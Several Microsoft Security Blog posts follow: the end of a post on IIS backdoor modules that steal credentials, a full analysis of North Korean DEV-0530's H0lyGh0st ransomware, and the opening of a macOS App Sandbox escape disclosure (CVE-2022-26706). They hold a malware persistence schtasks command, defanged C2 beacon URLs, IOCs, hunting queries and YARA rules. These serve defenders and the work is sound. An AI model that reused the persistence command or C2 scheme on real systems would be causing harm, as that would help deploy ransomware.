This subset of modules monitors sign-in patterns in outgoing requests and dumps extracted credentials in an encrypted format. The stolen credentials allow the attackers to remain persistent in the environment, even if the primary backdoor is detected.  

The modules monitor for specific requests to determine a sign-in activity, such as /auth.owa default URL for OWA application. On inspecting the request, the module dumps the credentials in a .dat file. The contents are encrypted using XOR with a hardcoded value and wrapped with base64 encoding. The below image depicts a decoded sample output:

Decrypted entry sample
Figure 25. Sample decrypted entry
Backdoor code
Figure 26. Backdoor looking for OWA sign-in URL

In another variant, the module looks for common placeholder variables for passing credentials used in different ASP.Net applications. The dumped credentials are AES encrypted and wrapped with Base64 encoding, located in %programdata%\log.txt.

Backdoor code
Figure 27. Backdoor looking for common credential placeholder variables
Decrypted entry sample
Figure 28. Sample decrypted entry

Improving defenses against server compromise

As we expect to observe more attacks using IIS backdoors, organizations must ensure to follow security practices to help defend their servers.

Apply the latest security updates

Identify and remediate vulnerabilities or misconfigurations impacting servers. Deploy the latest security updates, especially for server components like Exchange as soon as they become available. Use Microsoft Defender Vulnerability Management to audit these servers regularly for vulnerabilities, misconfigurations, and suspicious activity.

Keep antivirus and other protections enabled

It’s critical to protect servers with Windows antivirus software and other security solutions like firewall protection and MFA. Turn on cloud-delivered protection and automatic sample submission in Microsoft Defender Antivirus to use artificial intelligence and machine learning to quickly identify and stop new and unknown threats. Use attack surface reduction rules to automatically block behaviors like credential theft and suspicious use of PsExec and Windows Management Instrumentation (WMI). Turn on tamper protection features to prevent attackers from stopping security services.

If you are worried that these security controls will affect performance or disrupt operations, engage with IT professionals to help determine the true impact of these settings. Security teams and IT professionals should collaborate on applying mitigations and appropriate settings.

Review sensitive roles and groups

Review highly privileged groups like Administrators, Remote Desktop Users, and Enterprise Admins. Attackers add accounts to these groups to gain foothold on a server. Regularly review these groups for suspicious additions or removal. To identify Exchange-specific anomalies, review the list of users in sensitive roles such as mailbox import export and Organization Management using the Get-ManagementRoleAssignment cmdlet in Exchange PowerShell.

Restrict access

Practice the principle of least-privilege and maintain good credential hygiene. Avoid the use of domain-wide, admin-level service accounts. Enforce strong randomized, just-in-time local administrator passwords and enable MFA. Use tools like Microsoft Defender for Identity’s Local Administrator Password Solution (LAPS).

Place access control list restrictions on virtual directories in IIS. Also, remove the presence of on-premises Exchange servers when only used for recipient management in Exchange Hybrid environments.

Prioritize alerts

The distinctive patterns of server compromise aid in detecting malicious behaviors and inform security operations teams to quickly respond to the initial stages of compromise. Pay attention to and immediately investigate alerts indicating suspicious activities on servers. Catching attacks in the exploratory phase, the period in which attackers spend several days exploring the environment after gaining access, is key. Prioritize alerts related to processes such as net.execmd.exe originating from w3wp.exe in general.

Inspect config file and bin folder

Regularly inspect web.config of your target application and ApplicationHost.config to identify any suspicious additions, such as a handler for image files—which is suspicious itself, if not outright malicious. Also, regularly scan installed paths like the application’s bin directory and default GAC location. Regularly inspecting the list of installed modules using the appcmd.exe or gacutil.exe utilities is also advisable.

Hardik Suri
Microsoft 365 Defender Research Team

Appendix

Microsoft Defender Antivirus detects these threats and related behaviors as the following malware:

  • Backdoor:MSIL/SuspIISModule.G!gen
  • Backdoor:MSIL/SuspIISModule.H!gen
  • Backdoor:MSIL/SuspIISModule.K!gen
  • Backdoor:MSIL/OWAStealer.B
  • Backdoor:MSIL/OWAStealer.C
  • Behavior:Win32/SuspGacInstall.B

Endpoint detection and response (EDR)

  • Suspicious IIS AppCmd Usage

Hunting queries

To locate malicious activity related to suspicious IIS module registration, run the following queries:

Suspicious IIS module registration

DeviceProcessEvents
| where ProcessCommandLine has “appcmd.exe add module”
| where InitiatingProcessParentFileName == “w3wp.exe”
DeviceProcessEvents
| where InitiatingProcessFileName == “powershell.exe”
|where ProcessCommandLine has ” system.enterpriseservices.internal.publish”
| where InitiatingProcessParentFileName == “w3wp.exe”
DeviceProcessEvents
|where ProcessCommandLine has ” \\gacutil.exe /I”
| where InitiatingProcessParentFileName == “w3wp.exe”

Indicators of compromise (IOCs)

File name SHA-256
HttpCompress.dll  4446f5fce13dd376ebcad8a78f057c0662880fdff7fe2b51706cb5a2253aa569
HttpSessionModule.dll  1d5681ff4e2bc0134981e1c62ce70506eb0b6619c27ae384552fe3bdc904205c
RewriterHttpModule.dll c5c39dd5c3c3253fffdd8fee796be3a9361f4bfa1e0341f021fba3dafcab9739
Microsoft.Exchange.HttpProxy.
HttpUtilities.dll
d820059577dde23e99d11056265e0abf626db9937fc56afde9b75223bf309eb0
HttpManageMoudle.dll 95721eedcf165cd74607f8a339d395b1234ff930408a46c37fa7822ddddceb80
IIS_backdoor.dll e352ebd81a0d50da9b7148cf14897d66fd894e88eda53e897baa77b3cc21bd8a
FinanceSvcModel.dll 5da41d312f1b4068afabb87e40ad6de211fa59513deb4b94148c0abde5ee3bd5
App_Web_system_web.ashx.dll 290f8c0ce754078e27be3ed2ee6eff95c4e10b71690e25bbcf452481a4e09b9d
App_Web_error.ashx.dll 2996064437621bfecd159a3f71166e8c6468225e1c0189238068118deeabaa3d

The post Malicious IIS extensions quietly open persistent backdoors into servers appeared first on Microsoft Security Blog.

North Korean threat actor targets small and midsize businesses with H0lyGh0st ransomware

A group of actors originating from North Korea that Microsoft Threat Intelligence Center (MSTIC) tracks as DEV-0530 has been developing and using ransomware in attacks since June 2021. This group, which calls itself H0lyGh0st, utilizes a ransomware payload with the same name for its campaigns and has successfully compromised small businesses in multiple countries as early as September 2021.

Along with their H0lyGh0st payload, DEV-0530 maintains an .onion site that the group uses to interact with their victims. The group’s standard methodology is to encrypt all files on the target device and use the file extension .h0lyenc, send the victim a sample of the files as proof, and then demand payment in Bitcoin in exchange for restoring access to the files. As part of their extortion tactics, they also threaten to publish victim data on social media or send the data to the victims’ customers if they refuse to pay. This blog is intended to capture part of MSTIC’s analysis of DEV-0530 tactics, present the protections Microsoft has implemented in our security products, and share insights on DEV-0530 and H0lyGh0st ransomware with the broader security community to protect mutual customers.

MSTIC assesses that DEV-0530 has connections with another North Korean-based group tracked as PLUTONIUM (aka DarkSeoul or Andariel). While the use of H0lyGh0st ransomware in campaigns is unique to DEV-0530, MSTIC has observed communications between the two groups, as well as DEV-0530 using tools created exclusively by PLUTONIUM.

As with any observed nation-state actor activity, Microsoft directly notifies customers that have been targeted or compromised, providing them with the information they need to secure their accounts. Microsoft uses DEV-#### designations as a temporary name given to an unknown, emerging, or a developing cluster of threat activity, allowing MSTIC to track it as a unique set of information until we reach high confidence about the origin or identity of the actor behind the activity.

Who is DEV-0530?

DEV-0530 primarily operates ransomware campaigns to pursue financial objectives. In MSTIC’s investigations of their early campaigns, analysts observed that the group’s ransom note included a link to the .onion site hxxp://matmq3z3hiovia3voe2tix2x54sghc3tszj74xgdy4tqtypoycszqzqd[.]onion, where the attackers claim to “close the gap between the rich and poor”. They also attempt to legitimize their actions by claiming to increase the victim’s security awareness by letting the victims know more about their security posture.

A screenshot of the ransom noted displayed by the H0lyGh0st ransomware. The page has a white background with black text, and presents information on how the ransomware victim can restore their files.
Figure 1. A H0lyGh0st ransom note linked to the attackers’ .onion site.
A screenshot of the H0lyGh0st .onion website. The page has a white background and white text, and presents claims made by the group regarding the motives behind their activities.
Figure 2. DEV-0530 attackers publishing their claims on their website.

Like many other ransomware actors, DEV-0530 notes on their website’s privacy policy that they would not sell or publish their victim’s data if they get paid. But if the victim fails to pay, they would publish everything. A contact form is also available for victims to get in touch with the attackers.

A screenshot from the H0lyGh0st website, presenting two sections in two columns. The column on the left detail their privacy and policy, while the one on the right pertains to their contact information.
Figure 3. Privacy policy and contact us information on the H0lyGh0st website.

Affiliations with other threat actors originating from North Korea

MSTIC assesses there is likely some overlap between DEV-0530 and PLUTONIUM. PLUTONIUM is a North Korean threat actor group affiliated with clusters of activity that are also known as DarkSeoul and Andariel. Active since at least 2014, PLUTONIUM has primarily targeted the energy and defense industries in India, South Korea, and the United States using a variety of tactics and techniques.

MSTIC has observed known DEV-0530 email accounts communicating with known PLUTONIUM attacker accounts. MSTIC has also observed both groups operating from the same infrastructure set, and even using custom malware controllers with similar names.

To further assess the origin of DEV-0530 operations, MSTIC performed a temporal analysis of observed activity from the group. MSTIC estimates that the pattern of life of DEV-0530 activity is most consistent with the UTC+8 and UTC+9 time zones. UTC+9 is the time zone used in North Korea.

Despite these similarities, differences in operational tempo, targeting, and tradecraft suggest DEV-0530 and PLUTONIUM are distinct groups.

Why are North Korean actors using ransomware?

Based on geopolitical observations by global experts on North Korean affairs and circumstantial observations, Microsoft analysts assess the use of ransomware by North Korea-based actors is likely motivated by two possible objectives.  

The first possibility is that the North Korean government sponsors this activity. The weakened North Korean economy has become weaker since 2016 due to sanctions, natural disasters, drought, and the North Korean government’s COVID-19 lockdown from the outside world since early 2020. To offset the losses from these economic setbacks, the North Korean government could have sponsored cyber actors stealing from banks and cryptocurrency wallets for more than five years. If the North Korean government is ordering these ransomware attacks, then the attacks would be yet another tactic the government has enabled to offset financial losses.

However, state-sponsored activity against cryptocurrency organizations has typically targeted a much broader set of victims than observed in DEV-0530 victimology. Because of this, it is equally possible that the North Korean government is not enabling or supporting these ransomware attacks. Individuals with ties to PLUTONIUM infrastructure and tools could be moonlighting for personal gain. This moonlighting theory might explain the often-random selection of victims targeted by DEV-0530.

Although Microsoft cannot be certain of DEV-0530’s motivations, the impact of these ransomware attacks on our customers raises the importance of exposing the underlying tactics and techniques, detecting and preventing attacks in our security products, and sharing our knowledge with the security ecosystem.

Ransomware developed by DEV-0530

Between June 2021 and May 2022, MSTIC classified H0lyGh0st ransomware under two new malware families: SiennaPurple and SiennaBlue. Both were developed and used by DEV-0530 in campaigns. MSTIC identified four variants under these families – BTLC_C.exe, HolyRS.exe, HolyLock.exe, and BLTC.exe – and clustered them based on code similarity, C2 infrastructure including C2 URL patterns, and ransom note text. BTLC_C.exe is written in C++ and is classified as SiennaPurple, while the rest are written in Go, and all variants are compiled into .exe to target Windows systems. Microsoft Defender Antivirus, which is built into and ships with Windows 10 and 11, detects and blocks BTLC_C.exe as SiennaPurple and the rest as SiennaBlue, providing protection for Windows users against all known variants the H0lyGh0st malware..

A timeline of the payloads used by DEV-0530 over time, SiennaPurple and SiennaBlue. The timeline covers developments from May 2021 to June 2022, with SiennaPurple being used from May to October 2021, and SiennaBlue from September 2021 to June 2022 and beyond.
Figure 4. Timeline of DEV-0530 ransomware payloads.

SiennaPurple ransomware family: BTLC_C.exe

BLTC_C.exe is a portable ransomware developed by DEV-0530 and was first seen in June 2021. This ransomware doesn’t have many features compared to all malware variants in the SiennaBlue family. Prominently, if not launched as an administrative user, the BLTC_C.exe malware displays the following hardcoded error before exiting:

"This program only execute under admin privilege".

The malware uses a simple obfuscation method for strings where 0x30 is subtracted from the hex value of each character, such that the string “aic^ef^bi^abc0” is decoded to 193[.]56[.]29[.]123. The indicators of compromise (IOCs) decoded from the BLTC_C.exe ransomware are consistent with all malware variants in the SiennaBlue family, including the C2 infrastructure and the HTTP beacon URL structure access.php?order=AccessRequest&cmn. The BTLC_C.exe sample analyzed by MSTIC has the following PDB path: M:\ForOP\attack(utils)\attack tools\Backdoor\powershell\btlc_C\Release\btlc_C.pdb.

SiennaBlue ransomware family: HolyRS.exe, HolyLocker.exe, and BTLC.exe

Between October 2021 and May 2022, MSTIC observed a cluster of new DEV-0530 ransomware variants written in Go. We classified these variants as SiennaBlue. While new Go functions were added to the different variants over time, all the ransomware in the SiennaBlue family share the same core Go functions.

A deeper look into the Go functions used in the SiennaBlue ransomware showed that over time, the core functionality expanded to include features like various encryption options, string obfuscation, public key management, and support for the internet and intranet. The table below demonstrates this expansion by comparing the Go functions in HolyRS.exe and BTLC.exe:

HolyRS.exe [2021] BTLC.exe [2022]
main_main
main_init_0
main_IsAdmin
main_encryptFiles
HolyLocker_RsaAlgorithm_GenerateKeyPair
HolyLocker_RsaAlgorithm_Encrypt
HolyLocker_CryptoAlogrithm___ptr_File__EncryptRSA
HolyLocker_CryptoAlogrithm___ptr_File__EncryptAES
HolyLocker_utilities_GenerateRandomANString
HolyLocker_utilities_StringInSlice
HolyLocker_utilities_SliceContainsSubstring
HolyLocker_utilities_RenameFile
HolyLocker_Main_init
HolyLocker_communication_New
HolyLocker_communication___ptr_Client__GetPubkeyFromServer
HolyLocker_communication___ptr_Client__Do
HolyLocker_communication___ptr_Client__SendEncryptedPayload
HolyLocker_communication___ptr_Client__SendFinishRequest
HolyLocker_communication___ptr_Client__AddNewKeyPairToIntranet
HolyLocker_communication___ptr_Client__AddNewKeyPair

main_main
main_init_0
main_IsAdmin
main_encryptFiles
main_DeleteSchTask
main_DisableNetworkDevice main_encryptString
main_decryptString
main_cryptAVPass
main_SelfDelete
HolyLocker_RsaAlgorithm_GenerateKeyPair
HolyLocker_RsaAlgorithm_Encrypt
HolyLocker_CryptoAlogrithm___ptr_File__EncryptRSA
HolyLocker_CryptoAlogrithm___ptr_File__EncryptAES
HolyLocker_utilities_GenerateRandomANString
HolyLocker_utilities_StringInSlice
HolyLocker_utilities_SliceContainsSubstring
HolyLocker_utilities_RenameFile
HolyLocker_Main_init
HolyLocker_communication_New
HolyLocker_communication___ptr_Client__GetPubkeyFromServer
HolyLocker_communication___ptr_Client__Do
HolyLocker_communication___ptr_Client__SendEncryptedPayload
HolyLocker_communication___ptr_Client__SendFinishRequest
HolyLocker_communication___ptr_Client__AddNewKeyPairToIntranet
HolyLocker_communication___ptr_Client__AddNewKeyPair  

MSTIC assesses DEV-0530 successfully compromised several targets in multiple countries using HolyRS.exe in November 2021. A review of the victims showed they were primarily small-to-midsized businesses, including manufacturing organizations, banks, schools, and event and meeting planning companies. The victimology indicates that these victims are most likely targets of opportunity. MSTIC suspects that DEV-0530 might have exploited vulnerabilities such as CVE-2022-26352 (DotCMS remote code execution vulnerability) on public-facing web applications and content management systems to gain initial access into target networks. The SiennaBlue malware variants were then dropped and executed. To date, MSTIC has not observed DEV-0530 using any 0-day exploits in their attacks.

After successfully compromising a network, DEV-0530 exfiltrated a full copy of the victims’ files. Next, the attackers encrypted the contents of the victim device, replacing all file names with Base64-encoded versions of the file names and renaming the extension to .h0lyenc. Victims found a ransom note in C:\FOR_DECRYPT.html, as well as an email from the attackers with subject lines such as:

!!!!We are < H0lyGh0st>. Please Read me!!!!

As seen in the screenshot below, the email from the attackers let the victim know that the group has stolen and encrypted all their files. The email also included a link to a sample of the stolen data to prove their claim, in addition to the demand for payment for recovering the files.

A screenshot of the email sent by DEV-0530 as a ransom note to their targets. The email message tells the target to pay in order to recover their files. It also mentions a URL where they can access some of their data.
Figure 5. Ransom note left by DEV-0530 attackers.

BTLC.exe is the latest DEV-0530 ransomware variant and has been seen in the wild since April 2022. BTLC.exe can be configured to connect to a network share using the default username, password, and intranet URL hardcoded in the malware if the ServerBaseURL is not accessible from the device. One notable feature added to BTLC.exe is a persistence mechanism in which the malware creates or deletes a scheduled task called lockertask, such that the following command line syntax can be used to launch the ransomware:

cmd.exe /Q /c schtasks /create /tn lockertask /tr [File] /sc minute /mo 1 /F /ru system 1> \\127.0.0.1\ADMIN$\__[randomnumber] 2>&1

Once the ransomware is successfully launched as an administrator, it tries to connect to the default ServerBaseURL hardcoded in the malware, attempts to upload a public key to the C2 server, and encrypts all files in the victim’s drive.

HolyRS.exe/HolyLocker.exe C2 configuration BTLC.exe C2 configuration
main_ServerBaseURL: hxxp://193[.]56[.]29[.]123:8888
main_IntranetURL: 10[.]10[.]3[.]42
main_Username: adm-karsair  
EncryptionKey: H0lyGh0stKey1234
IntranetUrl: 192[.]168[.]168[.]5
Username: atrismsp Scheduledtask name: lockertask
A screenshot of assembly code presenting configuration information used by the malware to connect to its C2 server. The code includes the C2 URL, as well as the attacker's username.
Figure 6. BTLC.exe C2 communication

Based on our investigation, the attackers frequently asked victims for anywhere from 1.2 to 5 Bitcoins. However, the attackers were usually willing to negotiate and, in some cases, lowered the price to less than one-third of the initial asking price. As of early July 2022, a review of the attackers’ wallet transactions shows that they have not successfully extorted ransom payments from their victims.

A screenshot from a Bitcoin explorer page presenting information on the attackers' Bitcoin wallet. The page shows that the Bitcoin wallet is empty.
Figure 7. Screenshot of DEV-0530 attackers’ wallet

HolyRS.exe/BTLC.exe C2 URL pattern:

  • hxxp://193[.]56[.]29[.]123:8888/access.php?order=GetPubkey&cmn=[Victim_HostName]
  • hxxp://193[.]56[.]29[.]123:8888/access.php?order=golc_key_add&cmn=[Victim_HostName]&type=1
  • hxxp://193[.]56[.]29[.]123:8888/access.php?order=golc_key_add&cmn=[Victim_HostName]&type=2
  • hxxp://193[.]56[.]29[.]123:8888/access.php?order=golc_finish&cmn=[Victim_HostName]&

Examples of HolyRS.exe/BTLC.exe ransom note metadata:

Attacker email address: H0lyGh0st@mail2tor[.]com
Image location: hxxps://cloud-ex42[.]usaupload[.]com/cache/plugins/filepreviewer/219002/f44c6929994386ac2ae18b93f8270ec9ff8420d528c9e35a878efaa2d38fb94c/1100x800_cropped.jpg
Report URL: hxxp://matmq3z3hiovia3voe2tix2x54sghc3tszj74xgdy4tqtypoycszqzqd[.]onion

Microsoft will continue to monitor DEV-0530 activity and implement protections for our customers. The current detections, advanced detections, and indicators of compromise (IOCs) in place across our security products are detailed below.

Recommended customer actions

Microsoft has implemented protections to detect these malware families as SiennaPurple and SiennaBlue (e.g., ALF:Ransom:Win32/SiennaBlue.A) via Microsoft Defender Antivirus and Microsoft Defender for Endpoint, wherever these are deployed on-premises and in cloud environments.

Microsoft encourages all organizations to proactively implement and frequently validate a data backup and restore plan as part of broader protection against ransomware and extortion threats.

The techniques used by DEV-0530 in H0lyGh0st activity can be mitigated by adopting the security considerations provided below:

  • Use the included IOCs to investigate whether they exist in your environment and assess for potential intrusion.

Our blog on the ransomware-as-a-service economy has an exhaustive guide on how to protecting against ransomware threats. We encourage readers to refer to that blog for a comprehensive guide that has a deep dive into each of the following areas:

For small or midsize companies who use Microsoft Defender for Business or Microsoft 365 Business Premium, enabling each of the features below will provide a protective layer against these threats where applicable. For Microsoft 365 Defender customers, the following checklist eliminates security blind spots:

  • Turn on cloud-delivered protection in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques, block new and unknown malware variants, and enhance attack surface reduction rules and tamper protection.
  • Turn on tamper protection features to prevent attackers from stopping security services.
  • Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when a non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode also blocks indicators identified proactively by Microsoft Threat Intelligence teams.
  • Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet.
  • Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches.
  • Use device discovery to increase visibility into the network by finding unmanaged devices and onboarding them to Microsoft Defender for Endpoint.
  • Protect user identities and credentials using Microsoft Defender for Identity, a cloud-based security solution that leverages on-premises Active Directory signals to monitor and analyze user behavior to identify suspicious user activities, configuration issues, and active attacks.

Indicators of compromise

This list provides IOCs observed during our investigation. We encourage our customers to investigate these indicators in their environments and implement detections and protections to identify past related activity and prevent future attacks against their systems.

Indicator Type Description
99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd SHA-256 Hash of BTLC_C.exe
f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86 SHA-256 Hash of HolyRS.exe
bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af SHA-256 Hash of BTLC.exe
cmd.exe /Q /c schtasks /create /tn lockertask /tr [File] /sc minute /mo 1 /F /ru system 1> \\127.0.0.1\ADMIN$\__[randomnumber] 2>&1   Command line Example of new ScheduledTask to BTLC.exe
193[.]56[.]29[.]123 C2 C2 IP address
H0lyGh0st@mail2tor[.]com Email Ransomware payment communication address
C:\FOR_DECRYPT.html File path File path of ransom note

NOTE: These indicators should not be considered exhaustive for this observed activity.

Microsoft 365 detections

Microsoft Defender Antivirus

Microsoft Defender for Endpoint

Microsoft Defender for Endpoint customers may see any or a combination of the following alerts as an indication of possible attack.

  • DEV-0530 activity group
  • Ransomware behavior detected in the file system
  • Possible ransomware infection modifying multiple files
  • Possible ransomware activity

Advanced hunting queries

Microsoft Sentinel

To locate possible DEV-0530 activity mentioned in this blog post, Microsoft Sentinel customers can use the queries detailed below:

Identify DEV-0530  IOCs

This query identifies a match based on IOCs related to DEV-0530 across various Sentinel data feeds:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0530_July2022.yaml

Identify renamed file extension

DEV-0530 actors are known to encrypt the contents of the victim’s device as well as rename the file and extension. The following query detects the creation of files with .h0lyenc extension:

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/MultipleDataSources/Dev-0530_FileExtRename.yaml

Identify Microsoft Defender Antivirus detection related to DEV-0530

This query looks for Microsoft Defender AV detections related to DEV-0530 and joins the alert with other data sources to surface additional information such as device, IP, signed-in on users, etc.

https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/Dev-0530AVHits.yaml

Yara rules

rule SiennaPurple 
{ 
	meta: 
        	author = "Microsoft Threat Intelligence Center (MSTIC)" 
		description = "Detects PDB path, C2, and ransom note in DEV-0530 Ransomware SiennaPurple samples" 
		hash = "99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd" 
	strings: 
		$s1 = "ForOP\\attack(utils)\\attack tools\\Backdoor\\powershell\\btlc_C\\Release\\btlc_C.pdb" 
		$s2 = "matmq3z3hiovia3voe2tix2x54sghc3tszj74xgdy4tqtypoycszqzqd.onion"
		$s3 = "H0lyGh0st@mail2tor.com"
		$s4 = "We are <HolyGhost>. All your important files are stored and encrypted."
		$s5 = "aic^ef^bi^abc0"
		$s6 = "---------------------------3819074751749789153841466081"

	condition: 
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 
		filesize < 7MB and filesize > 1MB and 
		all of ($s*) 
}
rule SiennaBlue 
{ 
    	meta: 
		author = "Microsoft Threat Intelligence Center (MSTIC)" 
		description = "Detects Golang package, function, and source file names observed in DEV-0530 Ransomware SiennaBlue samples" 
		hash1 = "f8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86" 
		hash2 = "541825cb652606c2ea12fd25a842a8b3456d025841c3a7f563655ef77bb67219
	strings: 
		$holylocker_s1 = "C:/Users/user/Downloads/development/src/HolyLocker/Main/HolyLock/locker.go"
		$holylocker_s2 = "HolyLocker/Main.EncryptionExtension"
		$holylocker_s3 = "HolyLocker/Main.ContactEmail"
		$holylocker_s4 = "HolyLocker/communication.(*Client).GetPubkeyFromServer"
		$holylocker_s5 = "HolyLocker/communication.(*Client).AddNewKeyPairToIntranet"
		
		$holyrs_s1 = "C:/Users/user/Downloads/development/src/HolyGhostProject/MainFunc/HolyRS/HolyRS.go"
		$holyrs_s2 = "HolyGhostProject/MainFunc.ContactEmail"
		$holyrs_s3 = "HolyGhostProject/MainFunc.EncryptionExtension"
		$holyrs_s4 = "HolyGhostProject/Network.(*Client).GetPubkeyFromServer"
		$holyrs_s5 = "HolyGhostProject/Network.(*Client).AddNewKeyPairToIntranet"
		$s1 = "Our site : <b><a href=%s>H0lyGh0stWebsite"
		$s2 = ".h0lyenc"
		$go_prefix = "Go build ID:"
	condition: 
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 
		filesize < 7MB and filesize > 1MB and 
		$go_prefix and all of ($s*) and (all of ($holylocker_*) or all of ($holygrs_*))
}

The post North Korean threat actor targets small and midsize businesses with H0lyGh0st ransomware appeared first on Microsoft Security Blog.

Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706

July 13th, 2022 No comments

Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in October 2021. A fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates released by Apple on May 16, 2022. Microsoft shares the vulnerability disclosure credit with another researcher, Arsenii Kostromin (0x3c3e), who discovered a similar technique independently.

We encourage macOS users to install these security updates as soon as possible. We also want to thank the Apple product security team for their responsiveness in fixing this issue.

The App Sandbox is Apple’s access control technology that application developers must adopt to distribute their apps through the Mac App Store. Essentially, an app’s processes are enforced with customizable rules, such as the ability to read or write specific files. The App Sandbox also restricts the processes’ access to system resources and user data to minimize the impact or damage if the app becomes compromised. However, we found that specially crafted codes could bypass these rules. An attacker could take advantage of this sandbox escape vulnerability to gain elevated privileges on the affected device or execute malicious commands like installing additional payloads.

We found the vulnerability while researching potential ways to run and detect malicious macros in Microsoft Office on macOS. For backward compatibility, Microsoft Word can read or write files with an “~$” prefix. Our findings revealed that it was possible to escape the sandbox by leveraging macOS’s Launch Services to run an open –stdin command on a specially crafted Python file with the said prefix.

Our research shows that even the built-in, baseline security features in macOS could still be bypassed, potentially compromising system and user data. Therefore, collaboration between vulnerability researchers, software vendors, and the larger security community remains crucial to helping secure the overall user experience. This includes responsibly disclosing vulnerabilities to vendors.

In addition, insights from this case study not only enhance our protection technologies, such as Microsoft Defender for Endpoint, but they also help strengthen the security strategies of software vendors and the computing landscape at large. This blog post thus provides details of our research and overviews of similar sandbox escape vulnerabilities reported by other security researchers that helped enrich our analysis.

How macOS App Sandbox works

In a nutshell, macOS apps can specify sandbox rules for the operating system to enforce on themselves. The App Sandbox restricts system calls to an allowed subset, and the said system calls can be allowed or disallowed based on files, objects, and arguments. Simply put, the sandbox rules are a defense-in-depth mechanism that dictates the kind of operations an application can or can’t do, regardless of the type of user running it. Examples of such operations include:

  • the kind of files an application can or can’t read or write;
  • whether the application can access specific resources such as the camera or the microphone, and;
  • whether the application is allowed to perform inbound or outbound network connections.
Diagram comparing how user data and system resources access an app without and with App Sandbox. 

Without App Sandbox, all user data and system resources will have unrestricted access to the app.

With App Sandbox, only the data and resources confined within the said sandbox will have unrestricted access to the app. All other user data and resources won't have access.
Figure 1. Illustration of a sandboxed app, from the App Sandbox documentation (photo credit: Apple)

Therefore, the App Sandbox is a useful tool for all macOS developers in providing baseline security for their applications, especially for those that have large attack surfaces and run user-provided code. One example of these applications is Microsoft Office.

Sandboxing Microsoft Office in macOS

Attackers have targeted Microsoft Office in their attempts to gain a foothold on devices and networks. One of their techniques is abusing Office macros, which they use in social engineering attacks to trick users into downloading malware and other payloads.

On Windows systems, Microsoft Defender Application Guard for Office helps secure Microsoft Office against such macro abuse by isolating the host environment using Hyper-V. With this feature enabled, an attacker must first be equipped with a Hyper-V guest-to-host vulnerability to affect the host system—a very high bar compared to simply running a macro. Without a similar isolation technology and default setting on macOS, Office must rely on the operating system’s existing mitigation strategies. Currently, the most promising technology is the macOS App Sandbox.

Viewing the Microsoft sandbox rules is quite straightforward with the codesign utility. Figure 2 below shows the truncated sandbox rules for Microsoft Word:

Partial screenshot of a command line interface showing different keys and values related to the App Sandbox rules for Microsoft Word in macOS.
Figure 2. Viewing the Microsoft Word sandbox rules with the codesign utility

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

Partial screenshot of a command line interface showing the read/write App Sandbox rule for Microsoft Word in macOS.
Figure 3. File read and write sandbox rule for Microsoft Word

Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device. These codes could be hidden in a specially crafted Word macro, which, as mentioned earlier, is one of the attackers’ preferred entry points.

Previously reported Office-specific sandbox escape vulnerability

For example, in 2018, MDSec reported a vulnerability in Microsoft Office on macOS that could allow an attacker to bypass the App Sandbox. As explained in their blog post, MDSec’s proof-of-concept (POC) exploit took advantage of the fact that Word could drop files with arbitrary contents to arbitrary directories (even after passing traditional permission checks), as long as these files’ filenames began with a “~$” prefix. This bypass was relatively straightforward: have a specially crafted macro drop a .plist file in the user’s LaunchAgents directory.

The LaunchAgents directory is a well-known persistence mechanism in macOS. PLIST files that adhere to a specific structure describe (that is, contain the metadata of) macOS launch agents initiated by the launchd process when a user signs in. Since these launch agents will be the children of launchd, they won’t inherit the sandbox rules enforced onto Word, and therefore will be out of the Office sandbox.

Shortly after the above vulnerability was reported, Microsoft deployed a fix that denied file writes to the LaunchAgents directory and other folders with similar implications. The said disclosure also prompted us to look into different possible sandbox escapes in Microsoft Word and other applications.

Exploring Launch Services as means of escaping the sandbox

In 2020, several blog posts described a generic sandbox escape vulnerability in macOS’s /usr/bin/open utility, a command commonly used to launch files, folders, and applications just as if a user double-clicked them. While open is a handy command, it doesn’t create child processes on its own. Instead, it performs an inter-process communication (IPC) with the macOS Launch Services, whose logic is implemented in the context of the launchd process. Launch Services then performs the heavy lifting by resolving the handler and launching the right app. Since launchd creates the process, it’s not restricted by the caller’s sandbox, similar to how MDSec’s POC exploit worked in 2018.

However, using open for sandbox escape purposes isn’t trivial because the destination app must be registered within Launch Services. This means that, for example, one couldn’t run files like osascript outside the sandbox using open. Our internal offensive security team therefore decided to reassess the open utility for sandbox escape purposes and use it in a larger end-to-end attack simulation.

Our obvious first attempt in creating a POC exploit was to create a macro that launches a shell script with the Terminal app. Surprisingly, the POC didn’t work because files dropped from within the sandboxed Word app were automatically given the extended attribute com.apple.quarantine (the same one used by Safari to keep track of internet-downloaded files, as well as by Gatekeeper to block malicious files from executing), and Terminal simply refused to run files with that attribute. We also tried using Python scripts, but the Python app had similar issues running files having the said attribute.

